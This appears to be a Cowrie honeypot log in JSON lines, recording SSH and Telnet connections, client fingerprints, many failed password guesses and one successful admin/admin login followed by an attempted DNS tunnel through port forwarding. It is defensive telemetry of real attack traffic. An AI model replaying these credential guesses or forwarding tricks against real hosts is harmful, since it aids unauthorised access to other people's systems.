{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":23932,"dst_ip":"159.203.135.109","dst_port":22,"session":"00fbf1a33fdb","protocol":"ssh","message":"New connection: 2.57.121.25:23932 (159.203.135.109:22) [session: 00fbf1a33fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:50.605145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:50.609935Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:50.715141Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10101972","message":"login attempt [user/10101972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:51.231116Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.820398807525635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:51.339698Z","src_ip":"135.148.14.151","session":"62881e3ced98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a561fcbb8ec3","protocol":"telnet","message":"New connection: 135.148.14.151:39096 (159.203.135.109:23) [session: a561fcbb8ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:51.690266Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"100977","message":"login attempt [user/100977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:52.339149Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10091973","message":"login attempt [user/10091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:53.447442Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100686","message":"login attempt [user/100686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:54.556885Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100581","message":"login attempt [user/100581] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:55.666552Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:56.777805Z","src_ip":"2.57.121.25","session":"00fbf1a33fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.413105726242065,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:24.103283Z","src_ip":"135.148.14.151","session":"a561fcbb8ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ecb2907c26a","protocol":"telnet","message":"New connection: 135.148.14.151:54140 (159.203.135.109:23) [session: 3ecb2907c26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:32.730175Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27870,"dst_ip":"10.17.0.5","dst_port":22,"session":"96095c8ed986","protocol":"ssh","message":"New connection: 87.251.64.176:27870 (10.17.0.5:22) [session: 96095c8ed986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:42.550928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:42.556403Z","src_ip":"87.251.64.176","session":"96095c8ed986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:42.665482Z","src_ip":"87.251.64.176","session":"96095c8ed986","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:42.951692Z","src_ip":"87.251.64.176","session":"96095c8ed986","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:43.049361Z","session":"96095c8ed986","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:43.147260Z","src_ip":"87.251.64.176","session":"96095c8ed986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:43.246560Z","src_ip":"87.251.64.176","session":"96095c8ed986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40558,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bab322665a0","protocol":"telnet","message":"New connection: 135.148.14.151:40558 (159.203.135.109:23) [session: 0bab322665a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:29:58.216011Z"}
{"eventid":"cowrie.session.closed","duration":34.2692391872406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:06.999296Z","src_ip":"135.148.14.151","session":"3ecb2907c26a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50402,"dst_ip":"159.203.135.109","dst_port":22,"session":"65940435620e","protocol":"ssh","message":"New connection: 147.45.211.215:50402 (159.203.135.109:22) [session: 65940435620e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:16.312871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:16.319112Z","src_ip":"147.45.211.215","session":"65940435620e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:16.502436Z","src_ip":"147.45.211.215","session":"65940435620e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karinka","message":"login attempt [root/karinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:17.027013Z","src_ip":"147.45.211.215","session":"65940435620e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:18.204029Z","src_ip":"147.45.211.215","session":"65940435620e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed5035823cdf","protocol":"telnet","message":"New connection: 135.148.14.151:54604 (159.203.135.109:23) [session: ed5035823cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:27.503937Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54672,"dst_ip":"159.203.135.109","dst_port":23,"session":"0591136cbe2a","protocol":"telnet","message":"New connection: 135.148.14.151:54672 (159.203.135.109:23) [session: 0591136cbe2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:27.603040Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e51d394dbb","protocol":"telnet","message":"New connection: 135.148.14.151:54564 (159.203.135.109:23) [session: 07e51d394dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:30.376933Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55218,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3eecb3cbbb","protocol":"telnet","message":"New connection: 135.148.14.151:55218 (159.203.135.109:23) [session: cf3eecb3cbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:32.844880Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":38064,"dst_ip":"10.17.0.5","dst_port":22,"session":"a900557d209d","protocol":"ssh","message":"New connection: 193.228.128.84:38064 (10.17.0.5:22) [session: a900557d209d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:36.873820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:36.879041Z","src_ip":"193.228.128.84","session":"a900557d209d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:36.991308Z","src_ip":"193.228.128.84","session":"a900557d209d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852zes","message":"login attempt [root/147852zes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:37.302257Z","src_ip":"193.228.128.84","session":"a900557d209d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:38.409840Z","src_ip":"193.228.128.84","session":"a900557d209d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.19856929779053,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:39.414473Z","src_ip":"135.148.14.151","session":"0bab322665a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38092,"dst_ip":"159.203.135.109","dst_port":23,"session":"63a5abf13719","protocol":"telnet","message":"New connection: 135.148.14.151:38092 (159.203.135.109:23) [session: 63a5abf13719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:51.232398Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40458,"dst_ip":"159.203.135.109","dst_port":23,"session":"be84623d007f","protocol":"telnet","message":"New connection: 135.148.14.151:40458 (159.203.135.109:23) [session: be84623d007f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:56.422110Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40602,"dst_ip":"159.203.135.109","dst_port":23,"session":"c522a3899a39","protocol":"telnet","message":"New connection: 135.148.14.151:40602 (159.203.135.109:23) [session: c522a3899a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:30:56.690999Z"}
{"eventid":"cowrie.session.closed","duration":31.686228275299072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:02.063011Z","src_ip":"135.148.14.151","session":"07e51d394dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12094974517822,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:03.624797Z","src_ip":"135.148.14.151","session":"ed5035823cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43824,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6f40b71c69","protocol":"telnet","message":"New connection: 135.148.14.151:43824 (159.203.135.109:23) [session: 7e6f40b71c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:04.836981Z"}
{"eventid":"cowrie.session.closed","duration":39.44836354255676,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:07.051277Z","src_ip":"135.148.14.151","session":"0591136cbe2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.329265832901,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:27.561521Z","src_ip":"135.148.14.151","session":"63a5abf13719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66869521141052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:32.090696Z","src_ip":"135.148.14.151","session":"be84623d007f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.68812274932861,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:33.378998Z","src_ip":"135.148.14.151","session":"c522a3899a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.13076138496399,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:34.975284Z","src_ip":"135.148.14.151","session":"cf3eecb3cbbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":32880,"dst_ip":"10.17.0.5","dst_port":22,"session":"919ab5e2c9ff","protocol":"ssh","message":"New connection: 80.66.85.226:32880 (10.17.0.5:22) [session: 919ab5e2c9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:35.485449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:35.490331Z","src_ip":"80.66.85.226","session":"919ab5e2c9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:35.581233Z","src_ip":"80.66.85.226","session":"919ab5e2c9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forget","message":"login attempt [root/forget] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:35.856257Z","src_ip":"80.66.85.226","session":"919ab5e2c9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:36.946883Z","src_ip":"80.66.85.226","session":"919ab5e2c9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60786,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4872d222db9","protocol":"telnet","message":"New connection: 135.148.14.151:60786 (159.203.135.109:23) [session: c4872d222db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:40.422778Z"}
{"eventid":"cowrie.session.closed","duration":36.21006631851196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:31:41.046654Z","src_ip":"135.148.14.151","session":"7e6f40b71c69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b868c91fbe28","protocol":"telnet","message":"New connection: 135.148.14.151:44208 (159.203.135.109:23) [session: b868c91fbe28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:32:08.062752Z"}
{"eventid":"cowrie.session.closed","duration":40.98381328582764,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:32:21.406429Z","src_ip":"135.148.14.151","session":"c4872d222db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70065760612488,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:32:41.763289Z","src_ip":"135.148.14.151","session":"b868c91fbe28","protocol":"telnet"}
